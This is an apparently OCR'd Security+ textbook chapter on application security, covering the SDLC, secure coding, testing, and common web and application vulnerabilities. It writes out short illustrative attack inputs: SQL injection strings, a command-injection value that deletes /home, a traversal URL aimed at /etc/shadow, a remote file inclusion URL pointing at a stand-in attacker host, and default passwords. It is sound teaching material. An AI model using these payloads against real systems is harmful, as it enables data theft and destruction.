Chapter6.pdf
Document Details
Uploaded by VitVargKW
Tags
Related
- Chapter 9 - 03 - Understand Secure Application, Development, Deployment, and Automation_ocred.pdf
- Chapter 9 - 01 - Understand Secure Application Design and Architecture - 01_ocred_fax_ocred.pdf
- Chapter 9 - 01 - Understand Secure Application Design and Architecture - 03_ocred_fax_ocred.pdf
- Chapter 06 - Application Security.pdf
- OutSystems Platform Best Practices PDF
- Software Security Development CYB0203 Lecture Notes PDF
Full Transcript
Chapter 6 Application Security THE COMPTIA SECURITY+ EXAM OBJECTIVES COVERED IN THIS CHAPTER INCLUDE: Domain 2.0: Threats, Vulnerabilities, and Mitigations 2.3. Explain various types of vulnerabilities. Application (Memory injection, Buffer overflow, Race conditions (Time-...
Chapter 6 Application Security THE COMPTIA SECURITY+ EXAM OBJECTIVES COVERED IN THIS CHAPTER INCLUDE: Domain 2.0: Threats, Vulnerabilities, and Mitigations 2.3. Explain various types of vulnerabilities. Application (Memory injection, Buffer overflow, Race conditions (Time-of-check (TOC), Target of evaluation (TOE), Time-of-use (TOU)), Malicious update) Web-based (Structured Query Language injection (SQLi), Cross-site scripting (XSS)) 2.4. Given a scenario, analyze indicators of malicious activity. Application attacks (Injection, Buffer overflow, Replay, Privilege escalation, Forgery, Directory traversal) Domain 4.0: Security Operations 4.1. Given a scenario, apply common security techniques to computing resources. Application security (Input validation, Secure cookies, Static code analysis, Code signing) Sandboxing 4.3. Explain various activities associated with vulnerability management. Identification methods (Application security, Static analysis, Dynamic analysis, Package monitoring) 4.7. Explain the importance of automation and orchestration related to secure operations. Use cases of automation and scripting (User provisioning, Resource provisioning, Guard rails, Security groups, Ticket creation, Escalation, Enabling/disabling services and access, Continuous integration and testing, Integrations and Application programming interfaces (APIs)) Benefits (Efficiency/time saving, Enforcing baselines, Standard infrastructure configurations, Scaling in a secure manner, Employee retention, Reaction time, Workforce multiplier) Other considerations (Complexity, Cost, Single point of failure, Technical debt, Ongoing supportability) Domain 5.0: Security Program Management and Oversight 5.1. Summarize elements of effective security governance. Policies (Software development lifecycle (SDLC)) Software ranging from customer-facing applications and services to smaller programs, down to the smallest custom scripts written to support business needs, is everywhere in our organizations. The process of designing, creating, supporting, and maintaining that software is known as the software development life cycle (SDLC). As a security practitioner, you need to understand the SDLC and its security implications to ensure that the software your organization uses is well written and secure throughout its lifespan. In this chapter, you will learn about major software development life cycle models and the reasons for choosing them. Next you will review software development security best practices and guidelines on secure software coding. As part of this, you will learn how software is tested and reviewed, and how these processes fit into the SDLC. Finally, you will learn about the common vulnerabilities that exist in software, including client-server and web-based applications. You'll learn how to recognize and defend against software security exploits. Software Assurance Best Practices Building, deploying, and maintaining software requires security involvement throughout the software's life cycle. Secure software development life cycles include incorporating security concerns at every stage of the software development process. The Software Development Life Cycle The software development life cycle (SDLC) describes the steps in a model for software development throughout its life. As shown in Figure 6.1, it maps software creation from an idea to requirements gathering and analysis to design, coding, testing, and rollout. Once software is in production, it also includes user training, maintenance, and decommissioning at the end of the software package's useful life. Software development does not always follow a formal model, but the majority of enterprise development for major applications does follow most, if not all, of these phases. In some cases, developers may even use elements of an SDLC model without realizing it! The SDLC is useful for organizations and for developers because it provides a consistent framework to structure workflow and to provide planning for the development process. Despite these advantages, simply picking an SDLC model to implement may not always be the best choice. Each SDLC model has certain types of work and projects that it fits better than others, making choosing an SDLC model that fits the work an important part of the process. FIGURE 6.1 High-level SDLC view In this chapter we will refer to the output of the SDLC as “software” or as an “application,” but the SDLC may be run for a service, a system, or other output. Feel free to substitute the right phrasing that is appropriate for you. Software Development Phases Regardless of which SDLC or process is chosen by your organization, a few phases appear in most SDLC models: 1. The planning phase is where initial investigations into whether the effort should occur are conducted. This stage also looks at alternative solutions and high-level costs for each solution proposed. It results in a recommendation with a plan to move forward. 2. Once an effort has been deemed feasible, it will typically go through a requirements definition phase. In this phase, customer input is sought to determine what the desired functionality is, what the current system or application currently does and doesn't do, and what improvements are desired. Requirements may be ranked to determine which are most critical to the success of the project. Security requirements definition is an important part of the analysis and requirements definition phase. It ensures that the application is designed to be secure and that secure coding practices are used. 3. The design phase includes design for functionality, architecture, integration points and techniques, dataflows, business processes, and any other elements that require design consideration. 4. The actual coding of the application occurs during the coding phase. This phase may involve testing of parts of the software, including unit testing, the testing of small components individually to ensure they function properly. 5. Although some testing is likely to occur in the coding phase, formal testing with customers or others outside of the development team occurs in the testing phase. Individual units or software components are integrated and then tested to ensure proper functionality. In addition, connections to outside services, data sources, and other integration may occur during this phase. During this phase user acceptance testing (UAT) occurs to ensure that the users of the software are satisfied with its functionality. 6. The important task of ensuring that the end users are trained on the software and that the software has entered general use occurs in the training and transition phase. This phase is sometimes called the acceptance, installation, and deployment phase. 7. Once a project reaches completion, the application or service will enter what is usually the longest phase: operations and maintenance. This phase includes patching, updating, minor modifications, and other work that goes into daily support. 8. The decommissioning phase occurs when a product or system reaches the end of its life. Although disposition is often ignored in the excitement of developing new products, it is an important phase for a number of reasons: shutting down old products can produce cost savings, replacing existing tools may require specific knowledge or additional effort, and data and systems may need to be preserved or properly disposed of. The order of the phases may vary, with some progressing in a simple linear fashion and others taking an iterative or parallel approach. You will still see some form of each of these phases in successful software life cycles. Code Deployment Environments Many organizations use multiple environments for their software and systems development and testing. The names and specific purposes for these systems vary depending on organizational needs, but the most common environments are as follows: The development environment is typically used for developers or other “builders” to do their work. Some workflows provide each developer with their own development environment; others use a shared development environment. The test environment is where the software or systems can be tested without impacting the production environment. In some schemes, this is preproduction, whereas in others a separate preproduction staging environment is used. Quality assurance (QA) activities take place in the test environment. The staging environment is a transition environment for code that has successfully cleared testing and is waiting to be deployed into production. The production environment is the live system. Software, patches, and other changes that have been tested and approved move to production. Change management processes are typically followed to move through these environments. This provides accountability and oversight and may be required for audit or compliance purposes as well. Exam Note Remember that the software development life cycle (SDLC) describes the steps in a model for software development throughout its life. It maps software creation from an idea to requirements gathering and analysis to design, coding, testing, and rollout. Secure SDLC practices aim to integrate security into the development process. DevSecOps and DevOps DevOps combines software development and IT operations with the goal of optimizing the SDLC. This is done by using collections of tools called toolchains to improve SDLC processes. The toolchain includes tools that assist with coding, building, testing, packaging, releasing, configuring monitoring software. Of course, DevOps should have security baked into it as well. The term DevSecOps describes security as part of the DevOps model. In this model, security is a shared responsibility that is part of the entire development and operations cycle. That means integrating security into the design, development, testing, and operational work done to produce applications and services. The role of security practitioners in a DevSecOps model includes threat analysis and communications, planning, testing, providing feedback, and of course, ongoing improvement and awareness responsibilities. To do this requires a strong understanding of the organization's risk tolerance, as well as awareness of what the others involved in the DevSecOps environment are doing and when they are doing it. DevOps and DevSecOps are often combined with continuous integration and continuous deployment methodologies, where they can rely on automated security testing, and integrated security tooling, including scanning, updates, and configuration management tools, to help ensure security. Continuous Integration and Continuous Deployment Continuous integration (CI) is a development practice that consistently (and on an ongoing basis) checks code into a shared repository. In CI environments, this can range from a few times a day to a very frequent process of check-ins and automated builds. The main goal of this approach is to enable the use of automation and scripting to implement automated courses of action that result in continuous delivery of code. Since continuous integration relies on an automated build process, it also requires automated testing. It is also often paired with continuous deployment (CD) (sometimes called continuous delivery), which rolls out tested changes into production automatically as soon as they have been tested. Figure 6.2 shows a view of the continuous integration/continuous deployment pipeline. FIGURE 6.2 The CI/CD pipeline Using continuous integration and continuous deployment methods requires building continuous validation and automated security testing into the pipeline testing process. It can result in new vulnerabilities being deployed into production and could allow an untrusted or rogue developer to insert flaws into code that is deployed and then remove the code as part of a deployment in the next cycle. This means that logging, reporting, and continuous monitoring must all be designed to fit the CI/CD process. Designing and Coding for Security Participating in the SDLC as a security professional provides significant opportunities to improve the security of applications. The first chance to help with software security is in the requirements gathering and design phases, when security can be built in as part of the requirements and then designed in based on those requirements. Later, during the development process, secure coding techniques, code review, and testing can improve the quality and security of the code that is developed. During the testing phase, fully integrated software can be tested using tools like web application security scanners or penetration testing techniques. This also provides the foundation for ongoing security operations by building the baseline for future security scans and regression testing during patching and updates. Throughout these steps, it helps to understand the common security issues that developers face, create, and discover. Secure Coding Practices One of the best resources for secure coding practices is the Open Worldwide Application Security Project (OWASP). OWASP is the home of a broad community of developers and security practitioners, and it hosts many community-developed standards, guides, and best practice documents, as well as a multitude of open source tools. OWASP provides a regularly updated list of proactive controls that is useful to review not only as a set of useful best practices, but also as a way to see how web application security threats change from year to year. Here are OWASP's top proactive controls with brief descriptions: Define Security Requirements Implement security throughout the development process. Leverage Security Frameworks and Libraries Preexisting security capabilities can make securing applications easier. Secure Database Access Prebuild SQL queries to prevent injection and configure databases for secure access. Encode and Escape Data Remove special characters. Validate All Inputs Treat user input as untrusted and filter appropriately. Implement Digital Identity Use multifactor authentication, secure password storage and recovery, and session handling. Enforce Access Controls Require all requests to go through access control checks, deny by default, and apply the principle of least privilege. Protect Data Everywhere Use encryption in transit and at rest. Implement Security Logging and Monitoring This helps detect problems and allows investigation after the fact. Handle All Errors and Exceptions Errors should not provide sensitive data, and applications should be tested to ensure that they handle problems gracefully. You can find OWASP's Proactive Controls list at https://owasp.org/www-project-proactive-controls, and a useful quick reference guide to secure coding practices is available at https://owasp.org/www-project-secure-coding-practices-quick- reference-guide. API Security Application programming interfaces (APIs) are interfaces between clients and servers or applications and operating systems that define how the client should ask for information from the server and how the server will respond. This definition means that programs written in any language can implement the API and make requests. APIs are tremendously useful for building interfaces between systems, but they can also be a point of vulnerability if they are not secured properly. API security relies on authentication, authorization, proper data scoping to ensure that too much data isn't released, rate limiting, input filtering, and appropriate monitoring and logging to remain secure. Of course, securing the underlying systems, configuring the API endpoint server or service, and providing normal network layer security to protect the service are also important. OWASP's API Security Project provides a useful breakdown of API security techniques. You can read more at www.owasp.org/index.php/OWASP_API_Security_Project. Many security tools and servers provide APIs, and security professionals are often asked to write scripts or programs that can access an API to pull data. Software Security Testing No matter how well talented the development team for an application is, there will be some form of flaws in the code. Veracode's 2023 metrics for applications based on their testing showed that 74 percent of the applications they scanned exhibited at least one security issue during the testing process. That number points to a massive need for software security testing to continue to be better integrated into the software development life cycle. In addition to these statistics, Veracode provides a useful yearly review of the state of software security. You can read more of the 2023 report at https://info.veracode.com/rs/790- ZKW-291/images/Veracode_State_of_Software_Security_2023.pdf. A broad variety of manual and automatic testing tools and methods are available to security professionals and developers. Fortunately, automated tools have continued to improve, providing an easier way to verify that code is more secure. Over the next few pages, we will review some of the critical software security testing methods and tools available today. Analyzing and Testing Code The source code that is the basis of every application and program can contain a variety of bugs and flaws, from programming and syntax errors to problems with business logic, error handling, and integration with other services and systems. It is important to be able to analyze the code to understand what the code does, how it performs that task, and where flaws may occur in the program itself. This is often done via static or dynamic code analysis along with testing methods like fuzzing. Once changes are made to code and it is deployed, it must be regression tested to ensure that the fixes put in place didn't create new security issues! Static Code Analysis As you learned in Chapter 5, “Security Assessment and Testing,” static code analysis (sometimes called source code analysis) is conducted by reviewing the code for an application. Since static analysis uses the source code for an application, it can be seen as a type of known-environment testing with full visibility to the testers. This can allow testers to find problems that other tests might miss, either because the logic is not exposed to other testing methods or because of internal business logic problems. Unlike many other methods, static analysis does not run the program; instead, it focuses on understanding how the program is written and what the code is intended to do. Static code analysis can be conducted using automated tools or manually by reviewing the code—a process sometimes called “code understanding.” Automated static code analysis can be very effective at finding known issues, and manual static code analysis helps to identify programmer-induced errors. OWASP provides static code analysis tools at https://owasp.org/www- community/controls/Static_Code_Analysis. Dynamic Code Analysis Dynamic code analysis relies on execution of the code while providing it with input to test the software. Much like static code analysis, dynamic code analysis may be done via automated tools or manually, but there is a strong preference for automated testing due to the volume of tests that need to be conducted in most dynamic code testing processes. Exam Note Know that static testing analyzes code without executing it. This approach points developers directly at vulnerabilities and often provides specific remediation suggestions. Dynamic testing executes code as part of the test, running all the interfaces that the code exposes to the user with a variety of inputs, searching for vulnerabilities. Fuzzing Fuzz testing, or fuzzing, involves sending invalid or random data to an application to test its ability to handle unexpected data. The application is monitored to determine if it crashes, fails, or responds in an incorrect manner. Fuzzing is typically automated due to the large amount of data that a fuzz test involves, and it is particularly useful for detecting input validation and logic issues as well as memory leaks and error handling. Unfortunately, fuzzing tends to only identify simple problems—it does not account for complex logic or business process issues, and it may not provide complete code coverage if its progress is not monitored. Injection Vulnerabilities Now that you have a good understanding of secure code development and testing practices, let's turn our attention to the motivating force behind putting these mechanisms in place: the vulnerabilities that attackers may exploit to undermine our security. We'll look at a number of different vulnerability categories in this chapter. Injection vulnerabilities are among the primary mechanisms that attackers use to break through a web application and gain access to the systems supporting that application. These vulnerabilities allow an attacker to supply some type of code to the web application as input and trick the web server into either executing that code or supplying it to another server to execute. SQL Injection Attacks Web applications often receive input from users and use it to compose a database query that provides results that are sent back to a user. For example, consider the search function on an e-commerce site. If a user enters orange tiger pillow into the search box, the web server needs to know what products in the catalog might match this search term. It might send a request to the backend database server that looks something like this: SELECT ItemName, ItemDescription, ItemPrice FROM Products WHERE ItemName LIKE '%orange%' AND ItemName LIKE '%tiger%' AND ItemName LIKE '%pillow%' This command retrieves a list of items that can be included in the results returned to the end user. In a SQL injection (SQLi) attack, the attacker might send a very unusual-looking request to the web server, perhaps searching for orange tiger pillow'; SELECT CustomerName, CreditCardNumber FROM Orders; -- If the web server simply passes this request along to the database server, it would do this (with a little reformatting for ease of viewing): SELECT ItemName, ItemDescription, ItemPrice FROM Products WHERE ItemName LIKE '%orange%' AND ItemName LIKE '%tiger%' AND ItemName LIKE '%pillow'; SELECT CustomerName, CreditCardNumber FROM Orders; --%' This command, if successful would run two different SQL queries (separated by the semicolon). The first would retrieve the product information, and the second would retrieve a listing of customer names and credit card numbers. In the basic SQL injection attack we just described, the attacker is able to provide input to the web application and then monitor the output of that application to see the result. Though that is the ideal situation for an attacker, many web applications with SQL injection flaws do not provide the attacker with a means to directly view the results of the attack. However, that does not mean the attack is impossible; it simply makes it more difficult. Attackers use a technique called blind SQL injection to conduct an attack even when they don't have the ability to view the results directly. We'll discuss two forms of blind SQL injection: content-based and timing-based. Blind Content-Based SQL Injection In a content-based blind SQL injection attack, the perpetrator sends input to the web application that tests whether the application is interpreting injected code before attempting to carry out an attack. For example, consider a web application that asks a user to enter an account number. A simple version of this web page might look like the one shown in Figure 6.3. FIGURE 6.3 Account number input page When a user enters an account number into that page, they will next see a listing of the information associated with that account, as shown in Figure 6.4. FIGURE 6.4 Account information page The SQL query supporting this application might be something similar to this, where the $account field is populated from the input field in Figure 6.3: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '$account' In this scenario, an attacker could test for a standard SQL injection vulnerability by placing the following input in the AccountNumber field: 52019' OR 1=1;-- If successful, this would result in the following query being sent to the database: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '52019' OR 1=1 This query would match all results. However, the design of the web application may ignore any query results beyond the first row. If this is the case, the query would display the same results as shown in Figure 6.4. Though the attacker may not be able to see the results of the query, that does not mean the attack was unsuccessful. However, with such a limited view into the application, it is difficult to distinguish between a well-defended application and a successful attack. The attacker can perform further testing by taking input that is known to produce results, such as providing the account number 52019 from Figure 6.4 and using SQL that modifies that query to return no results. For example, the attacker could provide this input to the field: 52019' AND 1=2;-- If the web application is vulnerable to blind SQL injection attacks, it would send the following query to the database: SELECT FirstName, LastName, Balance FROM Accounts WHERE AccountNumber = '52019' AND 1=2 This query, of course, never returns any results because 1 is never equal to 2! Therefore, the web application would return a page with no results, such as the one shown in Figure 6.5. If the attacker sees this page, they can be reasonably sure that the application is vulnerable to blind SQL injection and can then attempt more malicious queries that alter the contents of the database or perform other unwanted actions. FIGURE 6.5 Account information page after blind SQL injection Blind Timing-Based SQL Injection In addition to using the content returned by an application to assess susceptibility to blind SQL injection attacks, penetration testers may use the amount of time required to process a query as a channel for retrieving information from a database. These attacks depend on delay mechanisms provided by different database platforms. For example, Microsoft SQL Server's Transact- SQL allows a user to specify a command such as this: WAITFOR DELAY '00:00:15' This command would instruct the database to wait 15 seconds before performing the next action. An attacker seeking to verify whether an application is vulnerable to time-based attacks might provide the following input to the account ID field: 52019'; WAITFOR DELAY '00:00:15'; -- An application that immediately returns the result shown in Figure 6.4 is probably not vulnerable to timing-based attacks. However, if the application returns the result after a 15-second delay, it is likely vulnerable. This might seem like a strange attack, but it can actually be used to extract information from the database. For example, imagine that the Accounts database table used in the previous example contains an unencrypted field named Password. An attacker could use a timing-based attack to discover the password by checking it letter by letter. The SQL to perform a timing-based attack is a little complex, and you won't need to know it for the exam. Instead, here's some pseudocode that illustrates how the attack works conceptually: For each character in the password For each letter in the alphabet If the current character is equal to the current letter, wait 15 seconds before returning results In this manner, an attacker can cycle through all the possible password combinations to ferret out the password character by character. This may seem tedious, but security tools like SQLmap and Metasploit automate blind timing–based attacks, making them quite straightforward. Exam Note In a SQL injection attack, malicious code is inserted into strings of code that are later passed to a SQL database server. Code Injection Attacks SQL injection attacks are a specific example of a general class of attacks known as code injection attacks. These attacks seek to insert attacker-written code into the legitimate code created by a web application developer. Any environment that inserts user-supplied input into code written by an application developer may be vulnerable to a code injection attack. Similar attacks may take place against other environments. For example, attackers might embed commands in text being sent as part of a Lightweight Directory Access Protocol (LDAP) query, conducting an LDAP injection attack. They might also attempt to embed code in Extensible Markup Language (XML) documents, conducting an XML injection attack. Commands may even attempt to load dynamically linked libraries (DLLs) containing malicious code in a DLL injection attack. In addition to SQL injection, cross-site scripting is an example of a code injection attack that inserts HTML code written by an attacker into the web pages created by a developer. We'll discuss cross-site scripting in detail later in the section “Cross-Site Scripting (XSS).” Command Injection Attacks In some cases, application code may reach back to the operating system to execute a command. This is especially dangerous because an attacker might exploit a flaw in the application and gain the ability to directly manipulate the operating system. For example, consider the simple application shown in Figure 6.6. FIGURE 6.6 Account creation page This application sets up a new student account for a course. Among other actions, it creates a directory on the server for the student. On a Linux system, the application might use a system() call to send the directory creation command to the underlying operating system. For example, if someone fills in the text box with mchapple the application might use the function call system('mkdir /home/students/mchapple') to create a home directory for that user. An attacker examining this application might guess that this is how the application works and then supply the input mchapple & rm -rf /home which the application then uses to create the system call: system('mkdir /home/students/mchapple & rm -rf home') This sequence of commands deletes the /home directory along with all files and subfolders it contains. The ampersand in this command indicates that the operating system should execute the text after the ampersand as a separate command. This allows the attacker to execute the rm command by exploiting an input field that is only intended to execute a mkdir command. Exploiting Authentication Vulnerabilities Applications, like servers and networks, rely on authentication mechanisms to confirm the identity of users and devices and verify that they are authorized to perform specific actions. Attackers often seek to undermine the security of those authentication systems because, if they are able to do so, they may gain illegitimate access to systems, services, and information protected by that authentication infrastructure. Password Authentication Passwords are the most common form of authentication in use today, but unfortunately, they are also the most easily defeated. The reason for this is that passwords are a knowledge-based authentication technique. An attacker who learns a user's password may then impersonate the user from that point forward until the password expires or is changed. There are many ways that an attacker may learn a user's password, ranging from technical to social. Here are just a few of the possible ways that an attacker might discover a user's password: Conducting social engineering attacks that trick the user into revealing a password, either directly or through a false authentication mechanism Eavesdropping on unencrypted network traffic Obtaining a dump of passwords from previously compromised sites and assuming that a significant proportion of users reuse their passwords from that site on other sites In addition to these approaches, attackers may be able to conduct credential brute-forcing attacks, in which they obtain a set of weakly hashed passwords from a target system and then conduct an exhaustive search to crack those passwords and obtain access to the system. In some cases, application developers, vendors, and systems administrators make it easy for an attacker. Systems sometimes ship with default administrative accounts that may remain unchanged. For example, Figure 6.7 shows a section of the manual for a Zyxel router that includes a default username and password as well as instructions for changing that password. FIGURE 6.7 Zyxel router default password Source: www.router-reset.com/default-password-ip-list/ZyXEL Penetration testers may assume that an administrator may not have changed the default password and try to use a variety of default passwords on applications and devices in an attempt to gain access. Some common username/password combinations to test are as follows: administrator/password admin/password admin/admin Many websites maintain detailed catalogs of the default passwords used for a wide variety of applications and devices. Those sites are a great starting point for penetration testers seeking to gain access to a networked device. Session Attacks Credential-stealing attacks allow a hacker or penetration tester to authenticate directly to a service using a stolen account. Session hijacking attacks take a different approach by stealing an existing authenticated session. These attacks don't require that the attacker gain access to the authentication mechanism; instead, they take over an already authenticated session with a website. Most websites that require authentication manage user sessions using cookies managed in the user's browser and transmitted as part of the HTTP header information provided by a website. In this approach, illustrated in Figure 6.8, the user accesses the website's login form and uses their credentials to authenticate. If the user passes the authentication process, the website provides the user's browser with a cookie that may be used to authenticate future requests. Once the user has a valid cookie stored in the browser, the browser transmits that cookie with all future requests made to the website. The website inspects the cookie and determines that the user has already authenticated and does not need to reenter their password or complete other authentication tasks. FIGURE 6.8 Session authentication with cookies The cookie is simply a storage object maintained in the user's browser that holds variables that may later be accessed by the website that created them. You can think of a cookie as a small database of information that the website maintains in the user's browser. The cookie contains an authentication string that ties the cookie to a particular user session. Figure 6.9 shows an example of a cookie used by the CNN.com website, viewed in the Chrome browser. If you inspect the contents of your own browser's cookie cache, you'll likely find hundreds or thousands of cookies maintained by websites that you've visited. Some cookies may be years old. FIGURE 6.9 Session cookie from Cable News Network Cookie Stealing and Manipulation As you've just read, cookies serve as a key to bypass the authentication mechanisms of a website. To draw a parallel, imagine attending a trade conference. When you arrive at the registration booth, you might be asked to provide photo identification and pay a registration fee. In this case, you go through an authentication process. After you register, the booth attendant hands you a badge that you wear around your neck for the remainder of the show. From that point forward, any security staff can simply glance at your badge and know that you've already been authenticated and granted access to the show. If someone steals your badge, they now have the same show access that you enjoyed. Cookies work the same way. They're just digital versions of badges. If an attacker is able to steal someone's cookie, they may then impersonate that user to the website that issued the cookie. There are several ways in which an attacker might obtain a cookie: Eavesdropping on unencrypted network connections and stealing a copy of the cookie as it is transmitted between the user and the website. Installing malware on the user's browser that retrieves cookies and transmits them back to the attacker. Engaging in an on-path attack, where the attacker fools the user into thinking that the attacker is actually the target website and presenting a fake authentication form. They may then authenticate to the website on the user's behalf and obtain the cookie. Once the attacker has the cookie, they may perform cookie manipulation to alter the details sent back to the website or simply use the cookie as the badge required to gain access to the site. This is known as a session replay attack, and it is shown in Figure 6.10. FIGURE 6.10 Session replay Web developers can protect against cookie theft by marking cookies with the SECURE attribute. Secure cookies are never transmitted over unencrypted HTTP connections. Both servers and web browsers understand that they must only be sent over encrypted channels to protect against session replay attacks. The NTLM pass-the-hash attack is another form of replay attack that takes place against the operating system rather than a web application. The attacker begins by gaining access to a Windows system and then harvests stored NTLM password hashes from that system. They can then attempt to use these hashes to gain user or administrator access to that system or other systems in the same Active Directory domain. Unvalidated Redirects Insecure URL redirects are another vulnerability that attackers may exploit in an attempt to steal user sessions. Some web applications allow the browser to pass destination URLs to the application and then redirect the user to that URL at the completion of their transaction. For example, an ordering page might use URLs with this structure: www.mycompany.com/ordering.php? redirect=http%3a//www.mycompany.com/thankyou.htm The web application would then send the user to the thank you page at the conclusion of the transaction. This approach is convenient for web developers because it allows administrators to modify the destination page without altering the application code. However, if the application allows redirection to any URL, this creates a situation known as an unvalidated redirect, which an attacker may use to redirect the user to a malicious site. For example, an attacker might post a link to the page above on a message board but alter the URL to appear as www.mycompany.com/ordering.php? redirect=http%3a//www.evilhacker.com/passwordstealer.htm A user visiting this link would complete the legitimate transaction on the mycompany.com website but then be redirected to the attacker's page, where code might send the user straight into a session stealing or credential theft attack. Developers seeking to include redirection options in their application should perform validated redirects that check redirection URLs against an approved list. This list might specify the exact URLs authorized for redirection, or more simply, it might just limit redirection to URLs from the same domain. Exploiting Authorization Vulnerabilities We've explored injection vulnerabilities that allow an attacker to send code to backend systems and authentication vulnerabilities that allow an attacker to assume the identity of a legitimate user. Let's now take a look at some authorization vulnerabilities that allow an attacker to exceed the level of access for which they are authorized. Insecure Direct Object References In some cases, web developers design an application to directly retrieve information from a database based on an argument provided by the user in either a query string or a POST request. For example, this query string might be used to retrieve a document from a document management system: www.mycompany.com/getDocument.php?documentID=1842 There is nothing wrong with this approach, as long as the application also implements other authorization mechanisms. The application is still responsible for ensuring that the user is authenticated properly and is authorized to access the requested document. The reason for this is that an attacker can easily view this URL and then modify it to attempt to retrieve other documents, such as in these examples: www.mycompany.com/getDocument.php?documentID=1841 www.mycompany.com/getDocument.php?documentID=1843 www.mycompany.com/getDocument.php?documentID=1844 If the application does not perform authorization checks, the user may be permitted to view information that exceeds their authority. This situation is known as an insecure direct object reference. Canadian Teenager Arrested for Exploiting Insecure Direct Object Reference In April 2018, Nova Scotia authorities charged a 19-year-old with “unauthorized use of a computer” when he discovered that the website used by the province for handling Freedom of Information requests had URLs that contained a simple integer corresponding to the request ID. After noticing this, the teenager simply altered the ID from a URL he received after filing his own request and viewed the requests made by other individuals. That's not exactly a sophisticated attack, and many cybersecurity professionals (your authors included) would not even consider it a hacking attempt. Eventually, the authorities recognized that the province IT team was at fault and dropped the charges against the teenager. Directory Traversal Some web servers suffer from a security misconfiguration that allows users to navigate the directory structure and access files that should remain secure. These directory traversal attacks work when web servers allow the inclusion of operators that navigate directory paths and filesystem access controls don't properly restrict access to files stored elsewhere on the server. For example, consider an Apache web server that stores web content in the directory path /var/www/html/. That same server might store the shadow password file, which contains hashed user passwords, in the /etc directory using the filename /etc/shadow. Both of these locations are linked through the same directory structure, as shown in Figure 6.11. FIGURE 6.11 Example web server directory structure If the Apache server uses /var/www/html/ as the root location for the website, this is the assumed path for all files unless otherwise specified. For example, if the site were www.mycompany.com, the URL www.mycompany.com/account.php would refer to the file /var/www/html/account.php stored on the server. In Linux operating systems, the.. operator in a file path refers to the directory one level higher than the current directory. For example, the path /var/www/html/../ refers to the directory that is one level higher than the html directory, or /var/www/. Directory traversal attacks use this knowledge and attempt to navigate outside of the areas of the filesystem that are reserved for the web server. For example, a directory traversal attack might seek to access the shadow password file by entering this URL: www.mycompany.com/../../../etc/shadow If the attack is successful, the web server will dutifully display the shadow password file in the attacker's browser, providing a starting point for a brute-force attack on the credentials. The attack URL uses the.. operator three times to navigate up through the directory hierarchy. If you refer back to Figure 6.11 and use the /var/www/html directory as your starting point, the first.. operator brings you to /var/www, the second brings you to /var, and the third brings you to the root directory, /. The remainder of the URL brings you down into the /etc/ directory and to the location of the /etc/shadow file. File Inclusion File inclusion attacks take directory traversal to the next level. Instead of simply retrieving a file from the local operating system and displaying it to the attacker, file inclusion attacks actually execute the code contained within a file, allowing the attacker to fool the web server into executing arbitrary code. File inclusion attacks come in two variants: Local file inclusion attacks seek to execute code stored in a file located elsewhere on the web server. They work in a manner very similar to a directory traversal attack. For example, an attacker might use the following URL to execute a file named attack.exe that is stored in the C:\www\uploads directory on a Windows server: www.mycompany.com/app.php? include=C:\\www\\uploads\\attack.exe Remote file inclusion attacks allow the attacker to go a step further and execute code that is stored on a remote server. These attacks are especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server. For example, an attacker might use this URL to execute an attack file stored on a remote server: www.mycompany.com/app.php? include=http://evil.attacker.com/attack.exe When attackers discover a file inclusion vulnerability, they often exploit it to upload a web shell to the server. Web shells allow the attacker to execute commands on the server and view the results in the browser. This approach provides the attacker with access to the server over commonly used HTTP and HTTPS ports, making their traffic less vulnerable to detection by security tools. In addition, the attacker may even repair the initial vulnerability they used to gain access to the server to prevent its discovery by another attacker seeking to take control of the server or by a security team who then might be tipped off to the successful attack. Privilege Escalation Privilege escalation attacks seek to increase the level of access that an attacker has to a target system. They exploit vulnerabilities that allow the transformation of a normal user account into a more privileged account, such as the root superuser account. In October 2016, security researchers announced the discovery of a Linux kernel vulnerability dubbed Dirty COW. This vulnerability, present in the Linux kernel for nine years, was extremely easy to exploit and provided successful attackers with administrative control of affected systems. Exam Note Remember that privilege escalation attacks focus on exploiting flaws to gain elevated permissions or access. A successful privilege escalation attack can allow a normal or an untrusted user to use administrator or other privileged access. Exploiting Web Application Vulnerabilities Web applications are complex ecosystems consisting of application code, web platforms, operating systems, databases, and interconnected application programming interfaces (APIs). The complexity of these environments makes many different types of attack possible and provides fertile ground for penetration testers. We've already looked at a variety of attacks against web applications, including injection attacks, session hijacking, directory traversal, and more. In the following sections, we round out our look at web-based exploits by exploring cross-site scripting, cross-site request forgery, and clickjacking. Cross-Site Scripting (XSS) Cross-site scripting (XSS) attacks occur when web applications allow an attacker to perform HTML injection, inserting their own HTML code into a web page. Reflected XSS XSS attacks commonly occur when an application allows reflected input. For example, consider a simple web application that contains a single text box asking a user to enter their name. When the user clicks Submit, the web application loads a new page that says, “Hello, name.” Under normal circumstances, this web application functions as designed. However, a malicious individual could take advantage of this web application to trick an unsuspecting third party. As you may know, you can embed scripts in web pages by using the HTML tags and. Suppose that, instead of entering Mike in the Name field, you enter the following text: Mikealert('hello') When the web application “reflects” this input in the form of a web page, your browser processes it as it would any other web page: it displays the text portions of the web page and executes the script portions. In this case, the script simply opens a pop-up window that says “hello” in it. However, you could be more malicious and include a more sophisticated script that asks the user to provide a password and then transmits it to a malicious third party. At this point, you're probably asking yourself how anyone would fall victim to this type of attack. After all, you're not going to attack yourself by embedding scripts in the input that you provide to a web application that performs reflection. The key to this attack is that it's possible to embed form input in a link. A malicious individual could create a web page with a link titled “Check your account at First Bank” and encode form input in the link. When the user visits the link, the web page appears to be an authentic First Bank website (because it is!) with the proper address in the toolbar and a valid digital certificate. However, the website would then execute the script included in the input by the malicious user, which appears to be part of the valid web page. What's the answer to cross-site scripting? When creating web applications that allow any type of user input, developers must be sure to perform input validation. At the most basic level, applications should never allow a user to include the tag in a reflected input field. However, this doesn't solve the problem completely; there are many clever alternatives available to an industrious web application attacker. The best solution is to determine the type of input that the application will allow and then validate the input to ensure that it matches that pattern. For example, if an application has a text box that allows users to enter their age, it should accept only one to three digits as input. The application should reject any other input as invalid. Exam Note Know that in a cross-site scripting (XSS) attack, an attacker embeds scripting commands on a website that will later be executed by an unsuspecting visitor accessing the site. The idea is to trick a user visiting a trusted site into executing malicious code placed there by an untrusted third party. For more examples of ways to evade cross-site scripting filters, see https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Ev asion_Cheat_Sheet.html. Stored/Persistent XSS Cross-site scripting attacks often exploit 